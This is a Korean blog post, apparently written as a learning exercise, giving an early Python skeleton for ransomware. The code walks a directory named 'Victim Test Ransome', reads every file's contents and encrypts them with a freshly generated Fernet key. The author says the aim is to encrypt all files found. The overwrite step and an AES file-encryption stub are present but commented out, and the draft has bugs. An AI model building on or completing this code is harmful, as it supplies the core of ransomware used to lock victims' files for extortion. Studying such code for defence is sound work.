728x90

일단 아래와 같이 기본 틀을 만들었다.

 

이걸 활용하여 탐색한 모든 파일 내용 혹은 파일 자체 암호화를 만들어 볼 계획이다.

import os
from cryptography.fernet import Fernet
import sys

# from Crypto.Cipher import AES
# from Crypto.Hash import SHA256
# from Crypto import Random



files = []
def search(start_path, files): #파일의 경로 반환
    for root, dirs, filess in os.walk(start_path):
        rootpath = os.path.join(os.path.abspath(start_path), root) # start_path의 절대경로 + root

        for file in filess:
            filepath = os.path.join(os.path.abspath(start_path), file)
            files.append(filepath)

    return files

def file_read(files): #파일의 내용 읽기
    data = []
    for i in range(len(files)):
        f = open(files[i], 'r', encoding="utf-8")
        data.append(f.read())
    f.close()

    return data

# def file_write(files): #파일의 내용 수정
#     modified_data = []
#     for i in range(len(files)):
#         f = open(files[i], 'w', encoding="utf-8")
#         modified_data.append(f.write("asd"))
#     f.close()
#
#     return modified_data

def data_to_byte(data): #파일의 내용 문자열 -> 바이트
    convert = []
    for i in range(len(data)):
        str_to_byte = bytes(data[i], encoding = "utf-8")
        convert.append(str_to_byte)

    return convert

def contents_encrypt(byte_data): #파일 내용 암호화
    key = Fernet.generate_key()
    token = Fernet(key)

    for i in range(len(byte_data)):
        cipher_text = token.encrypt(byte_data[i])
        plain_text = token.decrypt(cipher_text)

        # print(cipher_text)
        # print(plain_text)
    return cipher_text, plain_text


def main():
    target_path = search("C:\\Users\\dssc\\Desktop\\CERT\\Victim Test Ransome", files) #파일명
    file_content = file_read(target_path) #파일내용
    byte_data = data_to_byte(file_content) #파일내용 바이트화
    encrypted_content = contents_encrypt(byte_data) #암호화

main()


# def encrypt(key, filename):
#     chunksize =64 * 1024
#     outputFile = “(encrypted)” + filename
#     filesize = str(os.path.getsize(filename)).zfill(16)
#     IV = Random.new().read(16)

 

728x90
복사했습니다!